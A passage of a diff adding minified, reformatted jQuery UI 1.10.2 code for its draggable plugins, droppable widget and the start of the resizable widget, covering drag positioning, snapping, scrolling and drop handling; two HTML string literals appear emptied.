this.offsetParent = this.helper.offsetParent(); + var e = this.offsetParent.offset(); + return ( + 'absolute' === this.cssPosition && + this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + ) && + ((e.left += this.scrollParent.scrollLeft()), + (e.top += this.scrollParent.scrollTop())), + (this.offsetParent[0] === document.body || + (this.offsetParent[0].tagName && + 'html' === + this.offsetParent[0].tagName.toLowerCase() && + t.ui.ie)) && + (e = {top: 0, left: 0}), + { + top: + e.top + + (parseInt( + this.offsetParent.css('borderTopWidth'), + 10, + ) || 0), + left: + e.left + + (parseInt( + this.offsetParent.css('borderLeftWidth'), + 10, + ) || 0), + } + ); + }, + _getRelativeOffset: function () { + if ('relative' === this.cssPosition) { + var t = this.element.position(); + return { + top: + t.top - + (parseInt(this.helper.css('top'), 10) || 0) + + this.scrollParent.scrollTop(), + left: + t.left - + (parseInt(this.helper.css('left'), 10) || 0) + + this.scrollParent.scrollLeft(), + }; + } + return {top: 0, left: 0}; + }, + _cacheMargins: function () { + this.margins = { + left: parseInt(this.element.css('marginLeft'), 10) || 0, + top: parseInt(this.element.css('marginTop'), 10) || 0, + right: parseInt(this.element.css('marginRight'), 10) || 0, + bottom: parseInt(this.element.css('marginBottom'), 10) || 0, + }; + }, + _cacheHelperProportions: function () { + this.helperProportions = { + width: this.helper.outerWidth(), + height: this.helper.outerHeight(), + }; + }, + _setContainment: function () { + var e, + i, + s, + n = this.options; + if ( + ('parent' === n.containment && + (n.containment = this.helper[0].parentNode), + ('document' === n.containment || + 'window' === n.containment) && + (this.containment = [ + 'document' === n.containment + ? 0 + : t(window).scrollLeft() - + this.offset.relative.left - + this.offset.parent.left, + 'document' === n.containment + ? 0 + : t(window).scrollTop() - + this.offset.relative.top - + this.offset.parent.top, + ('document' === n.containment + ? 0 + : t(window).scrollLeft()) + + t( + 'document' === n.containment + ? document + : window, + ).width() - + this.helperProportions.width - + this.margins.left, + ('document' === n.containment + ? 0 + : t(window).scrollTop()) + + (t( + 'document' === n.containment + ? document + : window, + ).height() || + document.body.parentNode.scrollHeight) - + this.helperProportions.height - + this.margins.top, + ]), + /^(document|window|parent)$/.test(n.containment) || + n.containment.constructor === Array) + ) + n.containment.constructor === Array && + (this.containment = n.containment); + else { + if (((i = t(n.containment)), (s = i[0]), !s)) return; + (e = 'hidden' !== t(s).css('overflow')), + (this.containment = [ + (parseInt(t(s).css('borderLeftWidth'), 10) || 0) + + (parseInt(t(s).css('paddingLeft'), 10) || 0), + (parseInt(t(s).css('borderTopWidth'), 10) || 0) + + (parseInt(t(s).css('paddingTop'), 10) || 0), + (e + ? Math.max(s.scrollWidth, s.offsetWidth) + : s.offsetWidth) - + (parseInt(t(s).css('borderRightWidth'), 10) || + 0) - + (parseInt(t(s).css('paddingRight'), 10) || 0) - + this.helperProportions.width - + this.margins.left - + this.margins.right, + (e + ? Math.max(s.scrollHeight, s.offsetHeight) + : s.offsetHeight) - + (parseInt(t(s).css('borderBottomWidth'), 10) || + 0) - + (parseInt(t(s).css('paddingBottom'), 10) || 0) - + this.helperProportions.height - + this.margins.top - + this.margins.bottom, + ]), + (this.relative_container = i); + } + }, + _convertPositionTo: function (e, i) { + i || (i = this.position); + var s = 'absolute' === e ? 1 : -1, + n = + 'absolute' !== this.cssPosition || + (this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + )) + ? this.scrollParent + : this.offsetParent, + o = /(html|body)/i.test(n[0].tagName); + return { + top: + i.top + + this.offset.relative.top * s + + this.offset.parent.top * s - + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollTop() + : o + ? 0 + : n.scrollTop()) * + s, + left: + i.left + + this.offset.relative.left * s + + this.offset.parent.left * s - + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollLeft() + : o + ? 0 + : n.scrollLeft()) * + s, + }; + }, + _generatePosition: function (e) { + var i, + s, + n, + o, + a = this.options, + r = + 'absolute' !== this.cssPosition || + (this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + )) + ? this.scrollParent + : this.offsetParent, + h = /(html|body)/i.test(r[0].tagName), + l = e.pageX, + c = e.pageY; + return ( + this.originalPosition && + (this.containment && + (this.relative_container + ? ((s = this.relative_container.offset()), + (i = [ + this.containment[0] + s.left, + this.containment[1] + s.top, + this.containment[2] + s.left, + this.containment[3] + s.top, + ])) + : (i = this.containment), + e.pageX - this.offset.click.left < i[0] && + (l = i[0] + this.offset.click.left), + e.pageY - this.offset.click.top < i[1] && + (c = i[1] + this.offset.click.top), + e.pageX - this.offset.click.left > i[2] && + (l = i[2] + this.offset.click.left), + e.pageY - this.offset.click.top > i[3] && + (c = i[3] + this.offset.click.top)), + a.grid && + ((n = a.grid[1] + ? this.originalPageY + + Math.round( + (c - this.originalPageY) / a.grid[1], + ) * + a.grid[1] + : this.originalPageY), + (c = i + ? n - this.offset.click.top >= i[1] || + n - this.offset.click.top > i[3] + ? n + : n - this.offset.click.top >= i[1] + ? n - a.grid[1] + : n + a.grid[1] + : n), + (o = a.grid[0] + ? this.originalPageX + + Math.round( + (l - this.originalPageX) / a.grid[0], + ) * + a.grid[0] + : this.originalPageX), + (l = i + ? o - this.offset.click.left >= i[0] || + o - this.offset.click.left > i[2] + ? o + : o - this.offset.click.left >= i[0] + ? o - a.grid[0] + : o + a.grid[0] + : o))), + { + top: + c - + this.offset.click.top - + this.offset.relative.top - + this.offset.parent.top + + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollTop() + : h + ? 0 + : r.scrollTop()), + left: + l - + this.offset.click.left - + this.offset.relative.left - + this.offset.parent.left + + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollLeft() + : h + ? 0 + : r.scrollLeft()), + } + ); + }, + _clear: function () { + this.helper.removeClass('ui-draggable-dragging'), + this.helper[0] === this.element[0] || + this.cancelHelperRemoval || + this.helper.remove(), + (this.helper = null), + (this.cancelHelperRemoval = !1); + }, + _trigger: function (e, i, s) { + return ( + (s = s || this._uiHash()), + t.ui.plugin.call(this, e, [i, s]), + 'drag' === e && + (this.positionAbs = + this._convertPositionTo('absolute')), + t.Widget.prototype._trigger.call(this, e, i, s) + ); + }, + plugins: {}, + _uiHash: function () { + return { + helper: this.helper, + position: this.position, + originalPosition: this.originalPosition, + offset: this.positionAbs, + }; + }, + }), + t.ui.plugin.add('draggable', 'connectToSortable', { + start: function (e, i) { + var s = t(this).data('ui-draggable'), + n = s.options, + o = t.extend({}, i, {item: s.element}); + (s.sortables = []), + t(n.connectToSortable).each(function () { + var i = t.data(this, 'ui-sortable'); + i && + !i.options.disabled && + (s.sortables.push({ + instance: i, + shouldRevert: i.options.revert, + }), + i.refreshPositions(), + i._trigger('activate', e, o)); + }); + }, + stop: function (e, i) { + var s = t(this).data('ui-draggable'), + n = t.extend({}, i, {item: s.element}); + t.each(s.sortables, function () { + this.instance.isOver + ? ((this.instance.isOver = 0), + (s.cancelHelperRemoval = !0), + (this.instance.cancelHelperRemoval = !1), + this.shouldRevert && + (this.instance.options.revert = + this.shouldRevert), + this.instance._mouseStop(e), + (this.instance.options.helper = + this.instance.options._helper), + 'original' === s.options.helper && + this.instance.currentItem.css({ + top: 'auto', + left: 'auto', + })) + : ((this.instance.cancelHelperRemoval = !1), + this.instance._trigger('deactivate', e, n)); + }); + }, + drag: function (e, i) { + var s = t(this).data('ui-draggable'), + n = this; + t.each(s.sortables, function () { + var o = !1, + a = this; + (this.instance.positionAbs = s.positionAbs), + (this.instance.helperProportions = + s.helperProportions), + (this.instance.offset.click = s.offset.click), + this.instance._intersectsWith( + this.instance.containerCache, + ) && + ((o = !0), + t.each(s.sortables, function () { + return ( + (this.instance.positionAbs = + s.positionAbs), + (this.instance.helperProportions = + s.helperProportions), + (this.instance.offset.click = + s.offset.click), + this !== a && + this.instance._intersectsWith( + this.instance.containerCache, + ) && + t.contains( + a.instance.element[0], + this.instance.element[0], + ) && + (o = !1), + o + ); + })), + o + ? (this.instance.isOver || + ((this.instance.isOver = 1), + (this.instance.currentItem = t(n) + .clone() + .removeAttr('id') + .appendTo(this.instance.element) + .data('ui-sortable-item', !0)), + (this.instance.options._helper = + this.instance.options.helper), + (this.instance.options.helper = + function () { + return i.helper[0]; + }), + (e.target = this.instance.currentItem[0]), + this.instance._mouseCapture(e, !0), + this.instance._mouseStart(e, !0, !0), + (this.instance.offset.click.top = + s.offset.click.top), + (this.instance.offset.click.left = + s.offset.click.left), + (this.instance.offset.parent.left -= + s.offset.parent.left - + this.instance.offset.parent.left), + (this.instance.offset.parent.top -= + s.offset.parent.top - + this.instance.offset.parent.top), + s._trigger('toSortable', e), + (s.dropped = this.instance.element), + (s.currentItem = s.element), + (this.instance.fromOutside = s)), + this.instance.currentItem && + this.instance._mouseDrag(e)) + : this.instance.isOver && + ((this.instance.isOver = 0), + (this.instance.cancelHelperRemoval = !0), + (this.instance.options.revert = !1), + this.instance._trigger( + 'out', + e, + this.instance._uiHash(this.instance), + ), + this.instance._mouseStop(e, !0), + (this.instance.options.helper = + this.instance.options._helper), + this.instance.currentItem.remove(), + this.instance.placeholder && + this.instance.placeholder.remove(), + s._trigger('fromSortable', e), + (s.dropped = !1)); + }); + }, + }), + t.ui.plugin.add('draggable', 'cursor', { + start: function () { + var e = t('body'), + i = t(this).data('ui-draggable').options; + e.css('cursor') && (i._cursor = e.css('cursor')), + e.css('cursor', i.cursor); + }, + stop: function () { + var e = t(this).data('ui-draggable').options; + e._cursor && t('body').css('cursor', e._cursor); + }, + }), + t.ui.plugin.add('draggable', 'opacity', { + start: function (e, i) { + var s = t(i.helper), + n = t(this).data('ui-draggable').options; + s.css('opacity') && (n._opacity = s.css('opacity')), + s.css('opacity', n.opacity); + }, + stop: function (e, i) { + var s = t(this).data('ui-draggable').options; + s._opacity && t(i.helper).css('opacity', s._opacity); + }, + }), + t.ui.plugin.add('draggable', 'scroll', { + start: function () { + var e = t(this).data('ui-draggable'); + e.scrollParent[0] !== document && + 'HTML' !== e.scrollParent[0].tagName && + (e.overflowOffset = e.scrollParent.offset()); + }, + drag: function (e) { + var i = t(this).data('ui-draggable'), + s = i.options, + n = !1; + i.scrollParent[0] !== document && + 'HTML' !== i.scrollParent[0].tagName + ? ((s.axis && 'x' === s.axis) || + (i.overflowOffset.top + + i.scrollParent[0].offsetHeight - + e.pageY < + s.scrollSensitivity + ? (i.scrollParent[0].scrollTop = n = + i.scrollParent[0].scrollTop + + s.scrollSpeed) + : e.pageY - i.overflowOffset.top < + s.scrollSensitivity && + (i.scrollParent[0].scrollTop = n = + i.scrollParent[0].scrollTop - + s.scrollSpeed)), + (s.axis && 'y' === s.axis) || + (i.overflowOffset.left + + i.scrollParent[0].offsetWidth - + e.pageX < + s.scrollSensitivity + ? (i.scrollParent[0].scrollLeft = n = + i.scrollParent[0].scrollLeft + + s.scrollSpeed) + : e.pageX - i.overflowOffset.left < + s.scrollSensitivity && + (i.scrollParent[0].scrollLeft = n = + i.scrollParent[0].scrollLeft - + s.scrollSpeed))) + : ((s.axis && 'x' === s.axis) || + (e.pageY - t(document).scrollTop() < + s.scrollSensitivity + ? (n = t(document).scrollTop( + t(document).scrollTop() - s.scrollSpeed, + )) + : t(window).height() - + (e.pageY - t(document).scrollTop()) < + s.scrollSensitivity && + (n = t(document).scrollTop( + t(document).scrollTop() + s.scrollSpeed, + ))), + (s.axis && 'y' === s.axis) || + (e.pageX - t(document).scrollLeft() < + s.scrollSensitivity + ? (n = t(document).scrollLeft( + t(document).scrollLeft() - + s.scrollSpeed, + )) + : t(window).width() - + (e.pageX - t(document).scrollLeft()) < + s.scrollSensitivity && + (n = t(document).scrollLeft( + t(document).scrollLeft() + + s.scrollSpeed, + )))), + n !== !1 && + t.ui.ddmanager && + !s.dropBehaviour && + t.ui.ddmanager.prepareOffsets(i, e); + }, + }), + t.ui.plugin.add('draggable', 'snap', { + start: function () { + var e = t(this).data('ui-draggable'), + i = e.options; + (e.snapElements = []), + t( + i.snap.constructor !== String + ? i.snap.items || ':data(ui-draggable)' + : i.snap, + ).each(function () { + var i = t(this), + s = i.offset(); + this !== e.element[0] && + e.snapElements.push({ + item: this, + width: i.outerWidth(), + height: i.outerHeight(), + top: s.top, + left: s.left, + }); + }); + }, + drag: function (e, i) { + var s, + n, + o, + a, + r, + h, + l, + c, + u, + d, + p = t(this).data('ui-draggable'), + f = p.options, + g = f.snapTolerance, + m = i.offset.left, + v = m + p.helperProportions.width, + _ = i.offset.top, + b = _ + p.helperProportions.height; + for (u = p.snapElements.length - 1; u >= 0; u--) + (r = p.snapElements[u].left), + (h = r + p.snapElements[u].width), + (l = p.snapElements[u].top), + (c = l + p.snapElements[u].height), + (m > r - g && + h + g > m && + _ > l - g && + c + g > _) || + (m > r - g && + h + g > m && + b > l - g && + c + g > b) || + (v > r - g && + h + g > v && + _ > l - g && + c + g > _) || + (v > r - g && h + g > v && b > l - g && c + g > b) + ? ('inner' !== f.snapMode && + ((s = g >= Math.abs(l - b)), + (n = g >= Math.abs(c - _)), + (o = g >= Math.abs(r - v)), + (a = g >= Math.abs(h - m)), + s && + (i.position.top = + p._convertPositionTo('relative', { + top: + l - + p.helperProportions + .height, + left: 0, + }).top - p.margins.top), + n && + (i.position.top = + p._convertPositionTo('relative', { + top: c, + left: 0, + }).top - p.margins.top), + o && + (i.position.left = + p._convertPositionTo('relative', { + top: 0, + left: + r - + p.helperProportions.width, + }).left - p.margins.left), + a && + (i.position.left = + p._convertPositionTo('relative', { + top: 0, + left: h, + }).left - p.margins.left)), + (d = s || n || o || a), + 'outer' !== f.snapMode && + ((s = g >= Math.abs(l - _)), + (n = g >= Math.abs(c - b)), + (o = g >= Math.abs(r - m)), + (a = g >= Math.abs(h - v)), + s && + (i.position.top = + p._convertPositionTo('relative', { + top: l, + left: 0, + }).top - p.margins.top), + n && + (i.position.top = + p._convertPositionTo('relative', { + top: + c - + p.helperProportions + .height, + left: 0, + }).top - p.margins.top), + o && + (i.position.left = + p._convertPositionTo('relative', { + top: 0, + left: r, + }).left - p.margins.left), + a && + (i.position.left = + p._convertPositionTo('relative', { + top: 0, + left: + h - + p.helperProportions.width, + }).left - p.margins.left)), + !p.snapElements[u].snapping && + (s || n || o || a || d) && + p.options.snap.snap && + p.options.snap.snap.call( + p.element, + e, + t.extend(p._uiHash(), { + snapItem: p.snapElements[u].item, + }), + ), + (p.snapElements[u].snapping = + s || n || o || a || d)) + : (p.snapElements[u].snapping && + p.options.snap.release && + p.options.snap.release.call( + p.element, + e, + t.extend(p._uiHash(), { + snapItem: p.snapElements[u].item, + }), + ), + (p.snapElements[u].snapping = !1)); + }, + }), + t.ui.plugin.add('draggable', 'stack', { + start: function () { + var e, + i = this.data('ui-draggable').options, + s = t.makeArray(t(i.stack)).sort(function (e, i) { + return ( + (parseInt(t(e).css('zIndex'), 10) || 0) - + (parseInt(t(i).css('zIndex'), 10) || 0) + ); + }); + s.length && + ((e = parseInt(t(s[0]).css('zIndex'), 10) || 0), + t(s).each(function (i) { + t(this).css('zIndex', e + i); + }), + this.css('zIndex', e + s.length)); + }, + }), + t.ui.plugin.add('draggable', 'zIndex', { + start: function (e, i) { + var s = t(i.helper), + n = t(this).data('ui-draggable').options; + s.css('zIndex') && (n._zIndex = s.css('zIndex')), + s.css('zIndex', n.zIndex); + }, + stop: function (e, i) { + var s = t(this).data('ui-draggable').options; + s._zIndex && t(i.helper).css('zIndex', s._zIndex); + }, + }); + })(jQuery), + (function (t) { + function e(t, e, i) { + return t > e && e + i > t; + } + t.widget('ui.droppable', { + version: '1.10.2', + widgetEventPrefix: 'drop', + options: { + accept: '*', + activeClass: !1, + addClasses: !0, + greedy: !1, + hoverClass: !1, + scope: 'default', + tolerance: 'intersect', + activate: null, + deactivate: null, + drop: null, + out: null, + over: null, + }, + _create: function () { + var e = this.options, + i = e.accept; + (this.isover = !1), + (this.isout = !0), + (this.accept = t.isFunction(i) + ? i + : function (t) { + return t.is(i); + }), + (this.proportions = { + width: this.element[0].offsetWidth, + height: this.element[0].offsetHeight, + }), + (t.ui.ddmanager.droppables[e.scope] = + t.ui.ddmanager.droppables[e.scope] || []), + t.ui.ddmanager.droppables[e.scope].push(this), + e.addClasses && this.element.addClass('ui-droppable'); + }, + _destroy: function () { + for ( + var e = 0, + i = t.ui.ddmanager.droppables[this.options.scope]; + i.length > e; + e++ + ) + i[e] === this && i.splice(e, 1); + this.element.removeClass('ui-droppable ui-droppable-disabled'); + }, + _setOption: function (e, i) { + 'accept' === e && + (this.accept = t.isFunction(i) + ? i + : function (t) { + return t.is(i); + }), + t.Widget.prototype._setOption.apply(this, arguments); + }, + _activate: function (e) { + var i = t.ui.ddmanager.current; + this.options.activeClass && + this.element.addClass(this.options.activeClass), + i && this._trigger('activate', e, this.ui(i)); + }, + _deactivate: function (e) { + var i = t.ui.ddmanager.current; + this.options.activeClass && + this.element.removeClass(this.options.activeClass), + i && this._trigger('deactivate', e, this.ui(i)); + }, + _over: function (e) { + var i = t.ui.ddmanager.current; + i && + (i.currentItem || i.element)[0] !== this.element[0] && + this.accept.call( + this.element[0], + i.currentItem || i.element, + ) && + (this.options.hoverClass && + this.element.addClass(this.options.hoverClass), + this._trigger('over', e, this.ui(i))); + }, + _out: function (e) { + var i = t.ui.ddmanager.current; + i && + (i.currentItem || i.element)[0] !== this.element[0] && + this.accept.call( + this.element[0], + i.currentItem || i.element, + ) && + (this.options.hoverClass && + this.element.removeClass(this.options.hoverClass), + this._trigger('out', e, this.ui(i))); + }, + _drop: function (e, i) { + var s = i || t.ui.ddmanager.current, + n = !1; + return s && (s.currentItem || s.element)[0] !== this.element[0] + ? (this.element + .find(':data(ui-droppable)') + .not('.ui-draggable-dragging') + .each(function () { + var e = t.data(this, 'ui-droppable'); + return e.options.greedy && + !e.options.disabled && + e.options.scope === s.options.scope && + e.accept.call( + e.element[0], + s.currentItem || s.element, + ) && + t.ui.intersect( + s, + t.extend(e, {offset: e.element.offset()}), + e.options.tolerance, + ) + ? ((n = !0), !1) + : undefined; + }), + n + ? !1 + : this.accept.call( + this.element[0], + s.currentItem || s.element, + ) + ? (this.options.activeClass && + this.element.removeClass( + this.options.activeClass, + ), + this.options.hoverClass && + this.element.removeClass( + this.options.hoverClass, + ), + this._trigger('drop', e, this.ui(s)), + this.element) + : !1) + : !1; + }, + ui: function (t) { + return { + draggable: t.currentItem || t.element, + helper: t.helper, + position: t.position, + offset: t.positionAbs, + }; + }, + }), + (t.ui.intersect = function (t, i, s) { + if (!i.offset) return !1; + var n, + o, + a = (t.positionAbs || t.position.absolute).left, + r = a + t.helperProportions.width, + h = (t.positionAbs || t.position.absolute).top, + l = h + t.helperProportions.height, + c = i.offset.left, + u = c + i.proportions.width, + d = i.offset.top, + p = d + i.proportions.height; + switch (s) { + case 'fit': + return a >= c && u >= r && h >= d && p >= l; + case 'intersect': + return ( + a + t.helperProportions.width / 2 > c && + u > r - t.helperProportions.width / 2 && + h + t.helperProportions.height / 2 > d && + p > l - t.helperProportions.height / 2 + ); + case 'pointer': + return ( + (n = + (t.positionAbs || t.position.absolute).left + + (t.clickOffset || t.offset.click).left), + (o = + (t.positionAbs || t.position.absolute).top + + (t.clickOffset || t.offset.click).top), + e(o, d, i.proportions.height) && + e(n, c, i.proportions.width) + ); + case 'touch': + return ( + ((h >= d && p >= h) || + (l >= d && p >= l) || + (d > h && l > p)) && + ((a >= c && u >= a) || + (r >= c && u >= r) || + (c > a && r > u)) + ); + default: + return !1; + } + }), + (t.ui.ddmanager = { + current: null, + droppables: {default: []}, + prepareOffsets: function (e, i) { + var s, + n, + o = t.ui.ddmanager.droppables[e.options.scope] || [], + a = i ? i.type : null, + r = (e.currentItem || e.element) + .find(':data(ui-droppable)') + .addBack(); + t: for (s = 0; o.length > s; s++) + if ( + !( + o[s].options.disabled || + (e && + !o[s].accept.call( + o[s].element[0], + e.currentItem || e.element, + )) + ) + ) { + for (n = 0; r.length > n; n++) + if (r[n] === o[s].element[0]) { + o[s].proportions.height = 0; + continue t; + } + (o[s].visible = + 'none' !== o[s].element.css('display')), + o[s].visible && + ('mousedown' === a && + o[s]._activate.call(o[s], i), + (o[s].offset = o[s].element.offset()), + (o[s].proportions = { + width: o[s].element[0].offsetWidth, + height: o[s].element[0].offsetHeight, + })); + } + }, + drop: function (e, i) { + var s = !1; + return ( + t.each( + ( + t.ui.ddmanager.droppables[e.options.scope] || [] + ).slice(), + function () { + this.options && + (!this.options.disabled && + this.visible && + t.ui.intersect( + e, + this, + this.options.tolerance, + ) && + (s = this._drop.call(this, i) || s), + !this.options.disabled && + this.visible && + this.accept.call( + this.element[0], + e.currentItem || e.element, + ) && + ((this.isout = !0), + (this.isover = !1), + this._deactivate.call(this, i))); + }, + ), + s + ); + }, + dragStart: function (e, i) { + e.element + .parentsUntil('body') + .bind('scroll.droppable', function () { + e.options.refreshPositions || + t.ui.ddmanager.prepareOffsets(e, i); + }); + }, + drag: function (e, i) { + e.options.refreshPositions && + t.ui.ddmanager.prepareOffsets(e, i), + t.each( + t.ui.ddmanager.droppables[e.options.scope] || [], + function () { + if ( + !this.options.disabled && + !this.greedyChild && + this.visible + ) { + var s, + n, + o, + a = t.ui.intersect( + e, + this, + this.options.tolerance, + ), + r = + !a && this.isover + ? 'isout' + : a && !this.isover + ? 'isover' + : null; + r && + (this.options.greedy && + ((n = this.options.scope), + (o = this.element + .parents(':data(ui-droppable)') + .filter(function () { + return ( + t.data( + this, + 'ui-droppable', + ).options.scope === n + ); + })), + o.length && + ((s = t.data( + o[0], + 'ui-droppable', + )), + (s.greedyChild = + 'isover' === r))), + s && + 'isover' === r && + ((s.isover = !1), + (s.isout = !0), + s._out.call(s, i)), + (this[r] = !0), + (this[ + 'isout' === r ? 'isover' : 'isout' + ] = !1), + this[ + 'isover' === r ? '_over' : '_out' + ].call(this, i), + s && + 'isout' === r && + ((s.isout = !1), + (s.isover = !0), + s._over.call(s, i))); + } + }, + ); + }, + dragStop: function (e, i) { + e.element.parentsUntil('body').unbind('scroll.droppable'), + e.options.refreshPositions || + t.ui.ddmanager.prepareOffsets(e, i); + }, + }); + })(jQuery), + (function (t) { + function e(t) { + return parseInt(t, 10) || 0; + } + function i(t) { + return !isNaN(parseInt(t, 10)); + } + t.widget('ui.resizable', t.ui.mouse, { + version: '1.10.2', + widgetEventPrefix: 'resize', + options: { + alsoResize: !1, + animate: !1, + animateDuration: 'slow', + animateEasing: 'swing', + aspectRatio: !1, + autoHide: !1, + containment: !1, + ghost: !1, + grid: !1, + handles: 'e,s,se', + helper: !1, + maxHeight: null, + maxWidth: null, + minHeight: 10, + minWidth: 10, + zIndex: 90, + resize: null, + start: null, + stop: null, + }, + _create: function () { + var e, + i, + s, + n, + o, + a = this, + r = this.options; + if ( + (this.element.addClass('ui-resizable'), + t.extend(this, { + _aspectRatio: !!r.aspectRatio, + aspectRatio: r.aspectRatio, + originalElement: this.element, + _proportionallyResizeElements: [], + _helper: + r.helper || r.ghost || r.animate + ? r.helper || 'ui-resizable-helper' + : null, + }), + this.element[0].nodeName.match( + /canvas|textarea|input|select|button|img/i, + ) && + (this.element.wrap( + t( + "
", + ).css({ + position: this.element.css('position'), + width: this.element.outerWidth(), + height: this.element.outerHeight(), + top: this.element.css('top'), + left: this.element.css('left'), + }), + ), + (this.element = this.element + .parent() + .data( + 'ui-resizable', + this.element.data('ui-resizable'), + )), + (this.elementIsWrapper = !0), + this.element.css({ + marginLeft: this.originalElement.css('marginLeft'), + marginTop: this.originalElement.css('marginTop'), + marginRight: + this.originalElement.css('marginRight'), + marginBottom: + this.originalElement.css('marginBottom'), + }), + this.originalElement.css({ + marginLeft: 0, + marginTop: 0, + marginRight: 0, + marginBottom: 0, + }), + (this.originalResizeStyle = + this.originalElement.css('resize')), + this.originalElement.css('resize', 'none'), + this._proportionallyResizeElements.push( + this.originalElement.css({ + position: 'static', + zoom: 1, + display: 'block', + }), + ), + this.originalElement.css({ + margin: this.originalElement.css('margin'), + }), + this._proportionallyResize()), + (this.handles = + r.handles || + (t('.ui-resizable-handle', this.element).length + ? { + n: '.ui-resizable-n', + e: '.ui-resizable-e', + s: '.ui-resizable-s', + w: '.ui-resizable-w', + se: '.ui-resizable-se', + sw: '.ui-resizable-sw', + ne: '.ui-resizable-ne', + nw: '.ui-resizable-nw', + } + : 'e,s,se')), + this.handles.constructor === String) + ) + for ( + 'all' === this.handles && + (this.handles = 'n,e,s,w,se,sw,ne,nw'), + e = this.handles.split(','), + this.handles = {}, + i = 0; + e.length > i; + i++ + ) + (s = t.trim(e[i])), + (o = 'ui-resizable-' + s), + (n = t( + "
", + )), + n.css({zIndex: r.zIndex}), + 'se' === s && + n.addClass( + 'ui-icon ui-icon-gripsmall-diagonal-se', + ), + (this.handles[s] = '.ui-resizable-' + s), + this.element.append(n); + (this._renderAxis = function (e) { + var i, s, n, o; + e = e || this.element; + for (i in this.handles) + this.handles[i].constructor === String && + (this.handles[i] = t( + this.handles[i], + this.element, + ).show()), + this.elementIsWrapper && + this.originalElement[0].nodeName.match( + /textarea|input|select|button/i, + ) && + ((s = t(this.handles[i], this.element)), + (o = /sw|ne|nw|se|n|s/.test(i) + ? s.outerHeight() + : s.outerWidth()), + (n = [ + 'padding', + /ne|nw|n/.test(i) + ? 'Top' + : /se|sw|s/.test(i) + ? 'Bottom' + : /^e$/.test(i) + ? 'Right' + : 'Left', + ].join('')), + e.css(n, o), + this._proportionallyResize()), + t(this.handles[i]).length; + }), + this._renderAxis(this.element), + (this._handles = t( + '.ui-resizable-handle', + this.element, + ).disableSelection()), + this._handles.mouseover(function () { + a.resizing || + (this.className && + (n = this.className.match( + /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i, + )), + (a.axis = n && n[1] ? n[1] : 'se')); + }), + r.autoHide && + (this._handles.hide(), + t(this.element) + .addClass('ui-resizable-autohide') + .mouseenter(function () { + r.disabled || + (t(this).removeClass( + 'ui-resizable-autohide', + ), + a._handles.show()); + }) + .mouseleave(function () { + r.disabled || + a.resizing || + (t(this).addClass('ui-resizable-autohide'), + a._handles.hide()); + })), + this._mouseInit(); + }, + _destroy: function () { + this._mouseDestroy(); + var e, + i = function (e) { + t(e) + .removeClass( + 'ui-resizable ui-resizable-disabled ui-resizable-resizing', + ) + .removeData('resizable') + .removeData('ui-resizable') + .unbind('.resizable') + .find('.ui-resizable-handle') + .remove(); + }; + return ( + this.elementIsWrapper && + (i(this.element), + (e = this.element), + this.originalElement + .css({ + position: e.css('position'), + width: e.outerWidth(), + height: e.outerHeight(), + top: e.css('top'), + left: e.css('left'), + }) + .insertAfter(e), + e.remove()), + this.originalElement.css( + 'resize', + this.originalResizeStyle, + ), + i(this.originalElement), + this + ); + }, + _mouseCapture: function (e) { + var i, + s, + n = !1; + for (i in this.handles) + (s = t(this.handles[i])[0]), + (s === e.target || t.contains(s, e.target)) && (n = !0); + return !this.options.disabled && n; + }, + _mouseStart: function (i) { + var s, + n, + o, + a = this.options, + r = this.element.position(), + h = this.element; + return ( + (this.resizing = !0), + /absolute/.test(h.css('position')) + ? h.css({ + position: 'absolute', + top: h.css('top'), + left: h.css('left'), + }) + : h.is('.ui-draggable') && + h.css({ + position: 'absolute', + top: r.top, + left: r.left, + }), + this._renderProxy(), + (s = e(this.helper.css('left'))), + (n = e(this.helper.css('top'))), + a.containment && + ((s += t(a.containment).scrollLeft() || 0), + (n += t(a.containment).scrollTop() || 0)), + (this.offset = this.helper.offset()), + (this.position = {left: s, top: n}), + (this.size = this._helper + ? {width: h.outerWidth(), height: h.outerHeight()} + : {width: h.width(), height: h.height()}), + (this.originalSize = this._helper + ? {width: h.outerWidth(), height: h.outerHeight()} + : {width: h.width(), height: h.height()}), + (this.originalPosition = {left: s, top: n}), + (this.sizeDiff = { + width: h.outerWidth() - h.width(), + height: h.outerHeight() - h.height(), + }), + (this.originalMousePosition = { + left: i.pageX, + top: i.pageY, + }), + (this.aspectRatio = + 'number' == typeof a.aspectRatio + ? a.aspectRatio + : this.originalSize.width / + this.originalSize.height || 1), + (o = t('.ui-resizable-' + this.axis).css('cursor')), + t('body').css( + 'cursor', + 'auto' === o ? this.axis + '-resize' : o, + ), + h.addClass('ui-resizable-resizing'), + this._propagate('start', i), + !0 + ); + }, + _mouseDrag: function (e) { + var i, + s = this.helper, + n = {}, + o = this.originalMousePosition, + a = this.axis, + r = this.position.top, + h = this.position.left, + l = this.size.width, + c = this.size.height, + u = e.pageX - o.left || 0, + d = e.pageY - o.top || 0, + p = this._change[a]; + return p + ? ((i = p.apply(this, [e, u, d])), + this._updateVirtualBoundaries(e.shiftKey), + (this._aspectRatio || e.shiftKey) && + (i = this._updateRatio(i, e)), + (i = this._respectSize(i, e)), + this._updateCache(i), + this._propagate('resize', e), + this.position.top !== r && + (n.top = this.position.top + 'px'), + this.position.left !== h && + (n.left = this.position.left + 'px'), + this.size.width !== l && + (n.width = this.size.width + 'px'), + this.size.height !== c && + (n.height = this.size.height + 'px'), + s.css(n), + !this._helper && + this._proportionallyResizeElements.length && + this._proportionallyResize(), + t.isEmptyObject(n) || + this._trigger('resize', e, this.ui()), + !1) + : !1; + }, + _mouseStop: function (e) { + this.resizing = !1; + var i, + s, + n, + o, + a, + r, + h, + l = this.options, + c = this; + return ( + this._helper && + ((i = this._proportionallyResizeElements), + (s = i.length && /textarea/i.test(i[0].nodeName)), + (n = + s && t.ui.hasScroll(i[0], 'left') + ? 0 + : c.sizeDiff.height), + (o = s ? 0 : c.sizeDiff.width), + (a = { + width: c.helper.width() - o, + height: c.helper.height() - n, + }), + (r = + parseInt(c.element.css('left'), 10) + + (c.position.left - c.originalPosition.left) || + null), + (h = + parseInt(c.element.css('top'), 10) + + (c.position.top - 